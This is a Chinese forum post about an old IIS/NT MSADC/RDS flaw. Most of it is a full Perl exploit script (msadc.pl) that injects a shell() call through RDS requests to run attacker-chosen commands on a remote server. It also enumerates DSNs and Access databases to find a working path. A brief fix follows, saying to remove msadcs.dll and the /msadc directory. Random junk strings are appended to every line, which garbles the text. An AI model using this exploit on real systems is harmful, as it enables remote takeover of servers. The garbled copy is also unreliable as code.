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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) X W)TI  
:HkBP90o  
涉及程序: +&Ld` d!n  
Microsoft NT server c3A\~tHW  
}htjT/Nm  
描述: dj0; tQ=C  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 >H2`4]4]  
vT'Bs;QR  
详细: Aw o)a8e  
如果你没有时间读详细内容的话,就删除: (yOkf-e2y  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ~C.*Vc?|  
有关的安全问题就没有了。 0+1wi4wy/  
rl*O-S/  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 Ifj&S'():  
O !L`0 =%c  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 VM"cpC_8  
关于利用ODBC远程漏洞的描述,请参看: *eVq(R9?T  
'X`Z1L/  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm )ZJvx%@i  
&SY!qTxF  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 p\6cpf  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp aV3:{oL  
vJkc/7  
这里不再论述。 [4Z 31v>  
XpQOl  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: U2oCSo5:3N  
Ykbg5Z  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset  +]db-  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! }I"C4'(a  
GF'wDi}  
'Ts:.  
#将下面这段保存为txt文件,然后: "perl -x 文件名" yVd^A2  
-EjXVn! vQ  
#!perl s[1ao"sZ^  
# lo1Ui`V  
# MSADC/RDS 'usage' (aka exploit) script (L_-!=e  
# !d* [QD8  
# by rain.forest.puppy Nkdv'e\  
# =8kmFXo  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me US6_5>/  
# beta test and find errors! FqKJids-  
;t`  ?|  
use Socket; use Getopt::Std; yC,/R371k  
getopts("e:vd:h:XR", \%args); WeI+|V$  
DHidI\*gT  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; (JhX:1  
c}x1-d8  
if (!defined $args{h} && !defined $args{R}) { X'9.fKp  
print qq~ )&DAbB!O  
Usage: msadc.pl -h <host> { -d <delay> -X -v } =BsV`p7rU  
-h <host> = host you want to scan (ip or domain) CUA @CZ6{  
-d <seconds> = delay between calls, default 1 second }2A6W%^>]  
-X = dump Index Server path table, if available [&Xp]:M'D  
-v = verbose ^ k^y|\UtZ  
-e = external dictionary file for step 5 97}]@xN=  
BxY t*b%  
Or a -R will resume a command session h$>F}n j  
s:`i~hjq  
~; exit;} g(DD8;]w<  
<_tmkLeZf  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; G4&s_ M$  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} A]1Nm3@  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} prBLNZp  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 0ju1>.p  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} q!c(~UVw  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } <t%gl5}|  
]-PzN'5\'  
if (!defined $args{R}){ $ret = &has_msadc; I0=_=aZO(  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ]`E+HLEQ'  
,!ZuH?Z  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 2 pS<;k`  
. "cmd /c "; |Td+,>,  
$in=<STDIN>; chomp $in; 4DXbeQs:  
$command="cmd /c " . $in ; ajbe7#}  
ijI/z5  
if (defined $args{R}) {&load; exit;} L\yVE J9x  
y>{: [L9*  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; K,f:X g!:  
&try_btcustmr; qZoDeN-CC  
z*Sm5i&)_q  
print "\nStep 2: Trying to make our own DSN..."; _MBa&XEM  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; Zw]`z*,yRA  
yu?5t?vf  
print "\nStep 3: Trying known DSNs..."; ~m%[d. }e  
&known_dsn; >&L|oq7$  
Vla,avON  
print "\nStep 4: Trying known .mdbs..."; IS C.~q2  
&known_mdb; C2LPLquD+  
~PQ.l\C  
if (defined $args{e}){  K +7  
print "\nStep 5: Trying dictionary of DSN names..."; H/8^Fvd  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } N&8TG  
?M2(8 0  
print "Sorry Charley...maybe next time?\n"; WxdQ^#AE  
exit; )cf i@-J+#  
g14*6O:  
############################################################################## #kg`rrF r  
Pms@!yce  
sub sendraw { # ripped and modded from whisker ^<]'?4m]  
sleep($delay); # it's a DoS on the server! At least on mine... R^Rc!G}  
my ($pstr)=@_; `i{d"H0E  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || fBO/0uW  
die("Socket problems\n"); r4.6W[| d  
if(connect(S,pack "SnA4x8",2,80,$target)){ [ X*p [  
select(S); $|=1; Re%[t9 F&  
print $pstr; my @in=<S>; -luQbGcT3  
select(STDOUT); close(S); ia6 jiW x  
return @in;  a+h$u  
} else { die("Can't connect...\n"); }} <+8'H:wz  
K/4@ 2vF  
############################################################################## ^ 5 >e  
;!yK~OBxt  
sub make_header { # make the HTTP request 2:+8]b3i  
my $msadc=<<EOT ?z ,!iK`  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 *[MWvs:,  
User-Agent: ACTIVEDATA w+o5iPLX  
Host: $ip ];r! M0  
Content-Length: $clen |5@Ra@0  
Connection: Keep-Alive lED!}h'4  
jiI=tg;  
ADCClientVersion:01.06 # @\3{;{R  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 wcHk]mLM  
FOaA}D `]  
--!ADM!ROX!YOUR!WORLD! ;5a$ OM  
Content-Type: application/x-varg mrGV{{.  
Content-Length: $reqlen -15e  
s8j |>R|k  
EOT $Dg-;I  
; $msadc=~s/\n/\r\n/g; l![M,8  
return $msadc;} ~NGM6+9  
rOIb9:  
############################################################################## i4C{3J^  
?2<QoS  
sub make_req { # make the RDS request ",r v%i2 f  
my ($switch, $p1, $p2)=@_; G  hM  
my $req=""; my $t1, $t2, $query, $dsn; #h!+b  
c '|*{%<e2  
if ($switch==1){ # this is the btcustmr.mdb query |jsI-?%8J  
$query="Select * from Customers where City=" . make_shell(); verI~M$v{  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . kuY^o,u-1e  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} YMGy-]!o  
X<ex >sM  
elsif ($switch==2){ # this is general make table query ;W|kc</R*  
$query="create table AZZ (B int, C varchar(10))"; wG3L+[,  
$dsn="$p1";} .=y=Fv6X  
7j& t{q5  
elsif ($switch==3){ # this is general exploit table query .5JIQWE(  
$query="select * from AZZ where C=" . make_shell(); = XZU9df  
$dsn="$p1";} / "m s  
5hs_k[q  
elsif ($switch==4){ # attempt to hork file info from index server .[={Yx0!I  
$query="select path from scope()"; Po>6I0y  
$dsn="Provider=MSIDXS;";} iIfiv<(ChM  
IPo t][ N>  
elsif ($switch==5){ # bad query tX*@r  
$query="select"; B=Hd:P|  
$dsn="$p1";} UlXm4\@  
9~ p;iiKGG  
$t1= make_unicode($query); Zy0M\-Mn  
$t2= make_unicode($dsn); VPN 9 Ql=  
$req = "\x02\x00\x03\x00"; 7o4E_ .*  
$req.= "\x08\x00" . pack ("S1", length($t1)); O{:{P5  
$req.= "\x00\x00" . $t1 ; Y A.&ap  
$req.= "\x08\x00" . pack ("S1", length($t2)); I=`?4%  
$req.= "\x00\x00" . $t2 ; &9jJ\+:7  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; (}#&HE<  
return $req;} VPCI5mS_  
N$=YL @m8  
############################################################################## gI:g/ R  
!G%!zNA S  
sub make_shell { # this makes the shell() statement bGh&@&dHr  
return "'|shell(\"$command\")|'";} ^&3vGu9  
2[ sY?C  
############################################################################## tqZ91QpW  
Quth5  
sub make_unicode { # quick little function to convert to unicode 0%xktf  
my ($in)=@_; my $out; Nr4Fp`b8  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 6:_~-xG  
return $out;} 3mgvWR  
k-$Acv(  
############################################################################## +V=<vT  
d`\SX(C  
sub rdo_success { # checks for RDO return success (this is kludge) U$:^^Zt`B  
my (@in) = @_; my $base=content_start(@in); 01Jav~WR  
if($in[$base]=~/multipart\/mixed/){ >N3X/8KL%  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} EeaJUK]z9  
return 0;} C&O8fNB_  
)Rr6@o  
############################################################################## l&& i`  
3h bHS~  
sub make_dsn { # this makes a DSN for us >WHajYO"  
my @drives=("c","d","e","f"); kV-<[5AWW  
print "\nMaking DSN: "; Z<U,]iZB  
foreach $drive (@drives) { 8~y!X0Ov!  
print "$drive: "; 6Ga'_P:  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . [[T7s(3  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ueg%yvO  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); zU5@~J  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ^C gg1e1  
return 0 if $2 eq "404"; # not found/doesn't exist  ZllmaI  
if($2 eq "200") { W83d$4\d  
foreach $line (@results) { 3qV^RW&  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} p{?duq=  
} return 0;} fb f&bJT  
Q}#4Qz~n  
############################################################################## Z@Rqm:e  
/X8a3Eqp9  
sub verify_exists { /.:1Da  
my ($page)=@_; [_N1 .}e  
my @results=sendraw("GET $page HTTP/1.0\n\n"); LM<*VhX  
return $results[0];} AA-$;s  
$$AZ)#t[  
############################################################################## fWP]{z`  
cfmwz~S6i  
sub try_btcustmr { h(WlJCln  
my @drives=("c","d","e","f"); <n_? $ TJ  
my @dirs=("winnt","winnt35","winnt351","win","windows"); VnuG^)S  
%+r(*Q+0$f  
foreach $dir (@dirs) {  v9T 3=  
print "$dir -> "; # fun status so you can see progress x ]VycS  
foreach $drive (@drives) { (U\o0LI  
print "$drive: "; # ditto i7RK*{  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 1D%P;eUDp  
$reqlenlen=length( "$reqlen" ); ^|/<e?~I  
$clen= 206 + $reqlenlen + $reqlen; '[r:pwE  
dX\OP>  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); =K@LEZZ'/<  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} zB m~J%  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} Vc\g"1 x  
clDn=k<  
############################################################################## :b9#e g  
<B%wq>4S  
sub odbc_error { b'( AVA  
my (@in)=@_; my $base; sta/i?n  
my $base = content_start(@in); s-#@t  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this Md X4Rp'  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; yCz"~c  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Rd(8j+Q?ps  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; UAjN  
return $in[$base+4].$in[$base+5].$in[$base+6];} Wv>`x?W  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; h5{//0 y  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . s?<FS@k  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} hMupQDv/I  
{F_>cyR  
############################################################################## *b;)7lj0h  
Tw\@]fw  
sub verbose { HubG>]  
my ($in)=@_; '4{@F~fu  
return if !$verbose; ~vP_c(8f  
print STDOUT "\n$in\n";} A._CCou  
xK8m\=#  
############################################################################## NO/$} vw  
Gb2|e.z  
sub save { hzbvR~rn  
my ($p1, $p2, $p3, $p4)=@_; u!xgLf'`  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; :qS~"@?<  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; DN9x<%/-  
close OUT;} !/`AM<`o  
Zn1((J7  
##############################################################################  H#F"n"~$  
VI3fvGHat{  
sub load { f$</BND  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; &tkPZ*}#1  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); s"7FmJ\7rw  
@p=<IN>; close(IN); *K>2B99TXu  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 5I* 1CIO  
$target= inet_aton($ip) || die("inet_aton problems"); !:d\A  
print "Resuming to $ip ..."; vkLt#yj~  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; W)`>'X`  
if($p[1]==1) { e_Zs4\^ef  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; C&F% j.<  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; [YQtX_;w  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); oCwep^P(v  
if (rdo_success(@results)){print "Success!\n";} ;E}&{w/My  
else { print "failed\n"; verbose(odbc_error(@results));}} "-fyX!  
elsif ($p[1]==3){ &=zJ MGa  
if(run_query("$p[3]")){ gISA13  
print "Success!\n";} else { print "failed\n"; }} SFzoRI=qG  
elsif ($p[1]==4){ [:,|g;=Y}  
if(run_query($drvst . "$p[3]")){ uUl ;}W  
print "Success!\n"; } else { print "failed\n"; }} C&q}&=3r  
exit;} R||$Wi[$  
[L7S`Z  
############################################################################## b`wT*&  
2!f'l'}  
sub create_table { bil>;&h  
my ($in)=@_; qPN  
$reqlen=length( make_req(2,$in,"") ) - 28; %to.'R  
$reqlenlen=length( "$reqlen" ); yyPj!<.MGP  
$clen= 206 + $reqlenlen + $reqlen; p-C{$5& O1  
my @results=sendraw(make_header() . make_req(2,$in,"")); ILNghtm-  
return 1 if rdo_success(@results); .&=\ *cZc  
my $temp= odbc_error(@results); verbose($temp); xR'd}>`  
return 1 if $temp=~/Table 'AZZ' already exists/; 7 |Qb}[s  
return 0;} v&sp;%I6=  
bq7()ocA  
############################################################################## M#o=.,  
}zo-%#  
sub known_dsn { >iJxq6!  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ?h7[^sxJ  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 8}z PDs  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 'o_ RC{k2"  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); M/[9ZgDc  
x ZAg  
foreach $dSn (@dsns) { ^ ' )4RU  
print "."; E?0RR'  
next if (!is_access("DSN=$dSn")); Nf~B 1vkp  
if(create_table("DSN=$dSn")){ !/F-EJOH6C  
print "$dSn successful\n"; b9f5  
if(run_query("DSN=$dSn")){ 11J:>A5zt  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {  wMH13i3  
print "Something's borked. Use verbose next time\n";}}} print "\n";} qztL M?iV  
M~sP|Ha"+  
############################################################################## ;?o"{mbb  
oxCfSA  
sub is_access { a`||ePb|W~  
my ($in)=@_; (ds*$]  
$reqlen=length( make_req(5,$in,"") ) - 28; fQU_A  
$reqlenlen=length( "$reqlen" ); a.<!>o<t:  
$clen= 206 + $reqlenlen + $reqlen; @S012} xH  
my @results=sendraw(make_header() . make_req(5,$in,"")); [o'}R`5)  
my $temp= odbc_error(@results); +w?1<Z  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); v|kL7t)}  
return 0;} QD[l 6  
|?fc]dl1]  
############################################################################## KueI*\ p  
m<9W#  
sub run_query { ,g)9ZP.F  
my ($in)=@_; <RkJ 7Z^  
$reqlen=length( make_req(3,$in,"") ) - 28; is- {U? -  
$reqlenlen=length( "$reqlen" ); {XS2<!D  
$clen= 206 + $reqlenlen + $reqlen; &kOb#\11u  
my @results=sendraw(make_header() . make_req(3,$in,"")); la !rg#)-X  
return 1 if rdo_success(@results); /3vj`#jD  
my $temp= odbc_error(@results); verbose($temp); 4p&SlJ  
return 0;} a'@?c_y;$  
aG1[85:,\i  
############################################################################## B415{  
H% c{ }F  
sub known_mdb { %8L5uMx  
my @drives=("c","d","e","f","g"); ; UjP0z  
my @dirs=("winnt","winnt35","winnt351","win","windows"); y /?;s]>b  
my $dir, $drive, $mdb; xeHqC9Ou  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; PI" )^`  
4gm(gY>[  
# this is sparse, because I don't know of many p4zV<qZ>e  
my @sysmdbs=( "\\catroot\\icatalog.mdb", q->46{s|  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", |z%*}DPrpa  
"\\system32\\certmdb.mdb", CV,[x[L# {  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% qoD M!~  
@l2AL9z$m>  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", "2/VDB4!FG  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 3412znM&  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", "V_PWEi  
"\\cfusion\\cfapps\\security\\realm_.mdb", _bq2h%G=8  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Fx*IeIs(:~  
"\\cfusion\\database\\cfexamples.mdb", mCpoaGV_  
"\\cfusion\\database\\cfsnippets.mdb", kA:cz$ )  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", |7T!rnr  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", /9yA.W;  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ;c>Rjg&[  
"\\cfusion\\database\\smpolicy.mdb", 'uOp?g'7  
"\\cfusion\\database\cypress.mdb", Ie;}k;?-  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", seH#v  
"\\website\\cgi-win\\dbsample.mdb", \+w -{"u$  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", V/!8q`lYNJ  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" A&0sD}I\K  
); #these are just Uz!cVs?-  
foreach $drive (@drives) { 8:A6Ew&\]O  
foreach $dir (@dirs){ mY1$N}8fm  
foreach $mdb (@sysmdbs) { -r82'3]  
print "."; ~ #~Kxh  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ `Uw^,r  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; P3YG:*  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ f&>Q 6 {*]  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; B6Tn8@O  
} else { print "Something's borked. Use verbose next time\n"; }}}}} (iiyptJ  
tL4xHa6v]  
foreach $drive (@drives) { ^Sr`)vP  
foreach $mdb (@mdbs) { 0)qLW& w  
print "."; vi>V6IC4v  
if(create_table($drv . $drive . $dir . $mdb)){ >!YI7)  
print "\n" . $drive . $dir . $mdb . " successful\n"; #6JCm!s  
if(run_query($drv . $drive . $dir . $mdb)){ N1!|nS3w  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; D &wm7,  
} else { print "Something's borked. Use verbose next time\n"; }}}} 3C8'@-U  
} Z,,Wo %)o  
x2TCw  
############################################################################## j:,*Liz  
ODM<$Yo:d  
sub hork_idx { .,x08M  
print "\nAttempting to dump Index Server tables...\n"; z|yC[ Ota  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; AuU:613]W8  
$reqlen=length( make_req(4,"","") ) - 28; Tr}c]IP*  
$reqlenlen=length( "$reqlen" ); an<tupi[E  
$clen= 206 + $reqlenlen + $reqlen; ziy~~J  
my @results=sendraw2(make_header() . make_req(4,"","")); @*l}2W  
if (rdo_success(@results)){ @,sg^KB  
my $max=@results; my $c; my %d; ? B^*YCo7(  
for($c=19; $c<$max; $c++){ 4 ITSDx  
$results[$c]=~s/\x00//g; 15gI-Qb  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; JWrvAM$O  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; +B'9!t4 2  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; F:M3^I  
$d{"$1$2"}="";} t9x.O  
foreach $c (keys %d){ print "$c\n"; } *4[3?~_B#6  
} else {print "Index server doesn't seem to be installed.\n"; }} kF.PLn'iS  
?P`]^#  
############################################################################## te'<xfG  
QkzPzbF"  
sub dsn_dict { `&>!a  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); YrgwR  
while(<IN>){ G0//P .#  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; z0Gh |N@)  
next if (!is_access("DSN=$dSn")); ^QV;[ha,o  
if(create_table("DSN=$dSn")){ `pN]Ykt  
print "$dSn successful\n"; W~Mj6c~S"  
if(run_query("DSN=$dSn")){ &ze'V , :  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { d|6*1hby  
print "Something's borked. Use verbose next time\n";}}} $- #M~eZv  
print "\n"; close(IN);} "$:nz}  
#,  vN  
############################################################################## D9c8#k9Y.  
">voi$Kzey  
sub sendraw2 { # ripped and modded from whisker oc-7gz)  
sleep($delay); # it's a DoS on the server! At least on mine... hgKs[ySo,3  
my ($pstr)=@_; "mT~_BsD  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || bU:"dqRm<  
die("Socket problems\n"); ^#%$?w>wI  
if(connect(S,pack "SnA4x8",2,80,$target)){ +V7*vlx-  
print "Connected. Getting data"; 0  x"3  
open(OUT,">raw.out"); my @in; fwxyZBr  
select(S); $|=1; print $pstr; P/Sv^d5=e  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} i' |S g  
close(OUT); select(STDOUT); close(S); return @in; .f&,~$e4  
} else { die("Can't connect...\n"); }} I[<C)IG  
8X*6i-j5E  
############################################################################## WFN5&7$W  
FQ(=Fnqn  
sub content_start { # this will take in the server headers #.tF&$ik  
my (@in)=@_; my $c; '1r:z, o|  
for ($c=1;$c<500;$c++) { xb_35'$M  
if($in[$c] =~/^\x0d\x0a/){ kS?!"zk>  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } Pd^ilRB  
else { return $c+1; }}} -\>Bphu,y  
return -1;} # it should never get here actually ";",r^vr\  
Fz)z&WT  
############################################################################## 0VsrAV0  
l!q i:H<=1  
sub funky { "W:'cIw  
my (@in)=@_; my $error=odbc_error(@in); $o1G xz  
if($error=~/ADO could not find the specified provider/){ bEy j8=P;  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; <r 3F*S=  
exit;} S <|e/![@  
if($error=~/A Handler is required/){ 0-4WLMx  
print "\nServer has custom handler filters (they most likely are patched)\n"; Q} f=Ye(&}  
exit;} kfA%%A  
if($error=~/specified Handler has denied Access/){ N9:xtrJ]_J  
print "\nServer has custom handler filters (they most likely are patched)\n"; j t-ayLq  
exit;}} WGVvBX7#  
b\VY)=U  
##############################################################################  nKkI  
#xE" ];  
sub has_msadc { yZA }WTGe  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); (h|l$OL/  
my $base=content_start(@results); |{Z?a^- NJ  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); PGu6hV{  
return 0;} =}U`q3k  
pt|u?T_+  
######################## ,uE WnZ"4  
]X4A)%i  
oe4Fy}Y_;  
解决方案: UG48g}  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll L&'2  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 >K;p+( <6  
j$A~3O<e"  
拿出来充数 哈哈
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